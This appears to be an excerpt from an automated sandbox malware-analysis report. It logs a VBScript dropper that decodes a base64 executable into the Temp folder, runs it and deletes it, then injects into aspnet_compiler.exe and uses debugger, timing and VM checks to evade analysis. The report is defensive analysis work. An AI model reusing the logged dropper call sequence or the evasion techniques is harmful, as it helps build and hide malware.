          Source: Binary string: C:\Users\Administrator\Documents\CryptoObfuscator_Output\DEMONCODER.pdb source: temp_exec.exe, 00000002.00000002.2093264557.0000000003059000.00000004.00000800.00020000.00000000.sdmp, temp_exec.exe, 00000002.00000002.2093264557.0000000003051000.00000004.00000800.00020000.00000000.sdmp, temp_exec.exe, 00000002.00000002.2094437417.00000000063D0000.00000004.08000000.00040000.00000000.sdmp
          Source: Binary string: C:\Users\owner\Documents\CryptoObfuscator_Output\PAPANKEMOUWO.pdbBSJB source: wscript.exe, 00000000.00000003.2094663386.000001FB086CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039085494.000001FB0842F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039009216.000001FB06349000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2097713684.000001FB08A70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2038332027.000001FB08426000.00000004.00000020.00020000.00000000.sdmp, temp_exec.exe, 00000002.00000000.2047235189.0000000000C92000.00000002.00000001.01000000.00000006.sdmp, temp_exec.exe.0.dr
          Source: Binary string: wntdll.pdbUGP source: aspnet_compiler.exe, 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp
          Source: Binary string: C:\Users\Administrator\Documents\CryptoObfuscator_Output\DEMONCODER.pdbBSJB source: temp_exec.exe, 00000002.00000002.2093264557.0000000003059000.00000004.00000800.00020000.00000000.sdmp, temp_exec.exe, 00000002.00000002.2093264557.0000000003051000.00000004.00000800.00020000.00000000.sdmp, temp_exec.exe, 00000002.00000002.2094437417.00000000063D0000.00000004.08000000.00040000.00000000.sdmp
          Source: Binary string: wntdll.pdb source: aspnet_compiler.exe, aspnet_compiler.exe, 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp
          Source: Binary string: C:\Users\owner\Documents\CryptoObfuscator_Output\PAPANKEMOUWO.pdb source: wscript.exe, 00000000.00000003.2094663386.000001FB086CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039085494.000001FB0842F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039009216.000001FB06349000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2097713684.000001FB08A70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2038332027.000001FB08426000.00000004.00000020.00020000.00000000.sdmp, temp_exec.exe, 00000002.00000000.2047235189.0000000000C92000.00000002.00000001.01000000.00000006.sdmp, temp_exec.exe.0.dr

          Data Obfuscation

          barindex
          VBScript performs obfuscated calls to suspicious functions
          Source: C:\Windows\System32\wscript.exeAnti Malware Scan Interface: .Run("C:\Users\user\AppData\Local\Temp\temp_exec.exe", "1", "true");IDictionary.Add("@@", "A");IDictionary.Add("))", "T");IDictionary.Add(";;;", "V");IDictionary.Add("...", "B");IDictionary.Add("&&&", "J");IDictionary.Keys();IDictionary.Item("@@");IDictionary.Item("))");IDictionary.Item(";;;");IDictionary.Item("...");IDictionary.Item("&&&");IXMLDOMNode._00000029("base64");IXMLDOMElement.dataType("bin.base64");IXMLDOMElement.text("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDADX4+WYAAAAAAAAAAOAADgELATAAAJAAAAD8AAAAAAAAeq8");IXMLDOMElement.nodeTypedValue();IFileSystem3.GetSpecialFolder("2");IFolder.Path();_Stream.Type("1");_Stream.Open();_Stream.Write("Unsupported parameter type 00002011");_Stream.SaveToFile("C:\Users\user\AppData\Local\Temp\temp_exec.exe", "2");_Stream.Close();IWshShell3.Run("C:\Users\user\AppData\Local\Temp\temp_exec.exe", "1", "true");IFileSystem3.FileExists("C:\Users\user\AppData\Local\Temp\temp_exec.exe");IFileSystem3.DeleteFile("C:\Users\user\AppData\Local\Temp\temp_exec.exe")
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeCode function: 2_2_014E5998 push eax; ret 2_2_014E59B2
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeCode function: 2_2_014E5875 push eax; ret 2_2_014E59B2
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeCode function: 2_2_014E5875 push eax; ret 2_2_014E59F2
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeCode function: 2_2_014E5875 push eax; ret 2_2_014E5A02
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeCode function: 2_2_014E5A18 push eax; ret 2_2_014E5A22
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeCode function: 2_2_014E5A28 push eax; ret 2_2_014E5A32
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_00407041 push cs; iretd 4_2_00407042
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0041705E push edi; iretd 4_2_00417060
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_004030F0 push eax; ret 4_2_004030F2
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0041C8FC push cs; iretd 4_2_0041C8C9
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_00401949 push 63DCA26Ah; ret 4_2_0040194E
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0040214B push edx; retf 4_2_0040214E
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_00402101 push ebp; iretd 4_2_0040210D
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0040210E push eax; retf 4_2_0040214A
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_004021A4 push eax; retf 4_2_0040214A
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0041125B pushfd ; ret 4_2_0041125E
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_004242D9 push esp; ret 4_2_00424330
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_004242E3 push esp; ret 4_2_00424330
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_00401AB8 push edx; retf 4_2_00401AE3
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_00413416 push ecx; iretd 4_2_00413417
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0041ECDC push ds; iretd 4_2_0041ECDD
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_00401DF5 push ebp; iretd 4_2_00401DB2
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_00401DA6 push ebp; iretd 4_2_00401DB2
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_00416EAA push esp; retf 4_2_00416EAB
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_00401F0D push eax; retf 4_2_00401F19
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_00401FEB push edx; retf 4_2_00401FEC
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_00410FEE push ebp; iretd 4_2_00411000
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_00410FF3 push ebp; iretd 4_2_00411000
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_00401FA4 push edx; ret 4_2_00401FAD
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_00401FBA push 0000006Ah; iretd 4_2_00401FC6
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0132225F pushad ; ret 4_2_013227F9
          Source: C:\Windows\System32\wscript.exeFile created: C:\Users\user\AppData\Local\Temp\temp_exec.exeJump to dropped file
          Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeMemory allocated: 14E0000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeMemory allocated: 2EB0000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeMemory allocated: 4EB0000 memory reserve | memory write watchJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0139096E rdtsc 4_2_0139096E
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 600000Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 599874Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 599750Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 599632Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 599515Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 599406Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 599296Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 599187Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 599078Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 598968Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 598859Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 598750Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 598640Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 598531Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 598421Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeWindow / User API: threadDelayed 501Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeWindow / User API: threadDelayed 2165Jump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeAPI coverage: 0.6 %
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exe TID: 4408Thread sleep time: -11068046444225724s >= -30000sJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exe TID: 4408Thread sleep time: -600000s >= -30000sJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exe TID: 5464Thread sleep count: 501 > 30Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exe TID: 4408Thread sleep time: -599874s >= -30000sJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exe TID: 4408Thread sleep time: -599750s >= -30000sJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exe TID: 5464Thread sleep count: 2165 > 30Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exe TID: 4408Thread sleep time: -599632s >= -30000sJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exe TID: 4408Thread sleep time: -599515s >= -30000sJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exe TID: 4408Thread sleep time: -599406s >= -30000sJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exe TID: 4408Thread sleep time: -599296s >= -30000sJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exe TID: 4408Thread sleep time: -599187s >= -30000sJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exe TID: 4408Thread sleep time: -599078s >= -30000sJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exe TID: 4408Thread sleep time: -598968s >= -30000sJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exe TID: 4408Thread sleep time: -598859s >= -30000sJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exe TID: 4408Thread sleep time: -598750s >= -30000sJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exe TID: 4408Thread sleep time: -598640s >= -30000sJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exe TID: 4408Thread sleep time: -598531s >= -30000sJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exe TID: 4408Thread sleep time: -598421s >= -30000sJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exe TID: 6516Thread sleep time: -30000s >= -30000sJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exe TID: 6008Thread sleep time: -922337203685477s >= -30000sJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 4160Thread sleep time: -30000s >= -30000sJump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 600000Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 599874Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 599750Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 599632Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 599515Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 599406Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 599296Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 599187Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 599078Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 598968Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 598859Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 598750Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 598640Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 598531Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 598421Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: wscript.exe, 00000000.00000003.2035708401.000001FB0873A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 8giMtQHs&&&Me6MXGv/FhzvMci8VC
          Source: wscript.exe, 00000000.00000003.2037193937.000001FB08201000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Me6MXGv/FhzvMci8VCBpd4nvdRIgCmIjrk1jRo0qXpoIjS8zMxtKYjY/txGIY7i01/bQy5gbf0Za1+rBc10yDu/t'/m
          Source: wscript.exe, 00000000.00000003.2031821832.000001FB08201000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: sahFj...I&&&tQcxP43eg&&&z+xN4PUZWcrfcO09lCoAiSzcXYA3fH29A...giMtQHs&&&Me6MXGv/FhzvMci8lNIQ
          Source: wscript.exe, 00000000.00000003.2033980119.000001FB08446000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 8giMtQHs&&&Me6MXGv/FhzvMci8VCb#
          Source: wscript.exe, 00000000.00000003.2031731504.000001FB0846D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: wE;;;xlRcfqybduwb;;;sahFj...I&&&tQcxP43eg&&&z+xN4PUZWcrfcO09lCoAiSzcXYA3fH29A...giMtQHs&&&Me6MXGv/FhzvMci8;;;C...pd4nvdRIgCmIjrk1jRo0qXpoIjS8zMxtKYjY/txGIY7i01/bQy5gbf0Za1+r...c10yDu/&&&qyXQYoud...5z7;;;8umZr8hhljEGnZjymugGOlOyEjcs
          Source: wscript.exe, 00000000.00000002.2097335546.000001FB08426000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:wA1m
          Source: wscript.exe, 00000000.00000003.2030394488.000001FB08446000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: wE;;;xlRcfqybduwb;;;sahFj...I&&&tQcxP43eg&&&z+xN4PUZWcrfcO09lCoAiSzcXYA3fH29A...giMtQHs&&&Me6MXGv/FhzvMci8;;;C...pd4nvdRIgCmIjrk1jRo0qXpoIjS8zMxtKYjY/txGIY7i01/bQy5gbf0Za1+r...c10yDu/&&&qyXQYoud...5z7;;;8umZr8hhljEGnZjymugGOlOyEjcsp7
          Source: wscript.exe, 00000000.00000003.2037193937.000001FB08201000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Me6MXGv/FhzvMci8VCBpd4nvdRIgCmIjrk1jRo0qXpoIjS8zMxtKYjY/txGIY7i01/bQy5gbf0Za1+rBc10yDu/C'
          Source: wscript.exe, 00000000.00000003.2031259195.000001FB08258000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: wE;;;xlRcfqybduwb;;;sahFj...I&&&tQcxP43eg&&&z+xN4PUZWcrfcO09lCoAiSzcXYA3fH29A...giMtQHs&&&Me6MXGv/FhzvMci8;;;C...pd4nvdRIgCmIjrk1jRo0qXpoIjS8zMxtKYjY/txGIY7i01/bQy5gbf0Za1+r...c10yDu/&&&qyXQYoud...5z7;;;8umZr8hhljEGnZjym
          Source: wscript.exe, 00000000.00000003.2029322450.000001FB08444000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ...giMtQHs&&&Me6MXGv/FhzvMci8;;;C...pd4nvdRIgCmIjrk1jRo0qXpoIjS8zMxtKYjY/txGIY7i01/bQy5gbf0Za1+r...c10yDu/&&&qyXQYoud...5z7;;;8umZr8hhljEGnZjym))tFY1cjzH&&&1OR4aoGPvCHMCvYWS+
          Source: wscript.exe, 00000000.00000003.2032157522.000001FB0845F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: sahFj...I&&&tQcxP43eg&&&z+xN4PUZWcrfcO09lCoAiSzcXYA3fH29A...giMtQHs&&&Me6MXGv/FhzvMci8
          Source: temp_exec.exe, 00000002.00000002.2092788509.0000000001232000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess information queried: ProcessInformationJump to behavior

          Anti Debugging

          barindex
          Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeCode function: 2_2_014E5078 CheckRemoteDebuggerPresent,2_2_014E5078
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess queried: DebugPortJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess queried: DebugPortJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0139096E rdtsc 4_2_0139096E
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_00417063 LdrLoadDll,4_2_00417063
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01380124 mov eax, dword ptr fs:[00000030h]4_2_01380124
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013FA118 mov ecx, dword ptr fs:[00000030h]4_2_013FA118
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013FA118 mov eax, dword ptr fs:[00000030h]4_2_013FA118
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013FA118 mov eax, dword ptr fs:[00000030h]4_2_013FA118
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013FA118 mov eax, dword ptr fs:[00000030h]4_2_013FA118
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01410115 mov eax, dword ptr fs:[00000030h]4_2_01410115
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01356154 mov eax, dword ptr fs:[00000030h]4_2_01356154
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01356154 mov eax, dword ptr fs:[00000030h]4_2_01356154
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0134C156 mov eax, dword ptr fs:[00000030h]4_2_0134C156
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013E8158 mov eax, dword ptr fs:[00000030h]4_2_013E8158
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013E4144 mov eax, dword ptr fs:[00000030h]4_2_013E4144
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013E4144 mov eax, dword ptr fs:[00000030h]4_2_013E4144
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013E4144 mov ecx, dword ptr fs:[00000030h]4_2_013E4144
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013E4144 mov eax, dword ptr fs:[00000030h]4_2_013E4144
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013E4144 mov eax, dword ptr fs:[00000030h]4_2_013E4144
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_014161C3 mov eax, dword ptr fs:[00000030h]4_2_014161C3
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_014161C3 mov eax, dword ptr fs:[00000030h]4_2_014161C3
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D019F mov eax, dword ptr fs:[00000030h]4_2_013D019F
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D019F mov eax, dword ptr fs:[00000030h]4_2_013D019F
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D019F mov eax, dword ptr fs:[00000030h]4_2_013D019F
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D019F mov eax, dword ptr fs:[00000030h]4_2_013D019F
